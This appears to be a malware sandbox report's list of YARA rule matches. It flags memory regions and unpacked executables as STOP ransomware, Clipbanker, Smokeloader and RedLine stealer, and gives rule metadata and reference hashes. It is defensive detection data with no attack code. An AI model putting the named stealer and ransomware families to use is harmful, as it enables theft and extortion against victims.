Source: 30.2.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 40.0.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 40.0.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 20.0.3C54.exe.4a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.380036043.0000000000859000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.460164953.0000000000800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000026.00000002.501652652.00000000007C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000019.00000002.473949878.0000000002434000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000026.00000002.506871844.00000000007F8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.488812684.000000000228A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000012.00000002.451349547.00000000023B3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.445989950.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.477600932.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.460214856.0000000000838000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
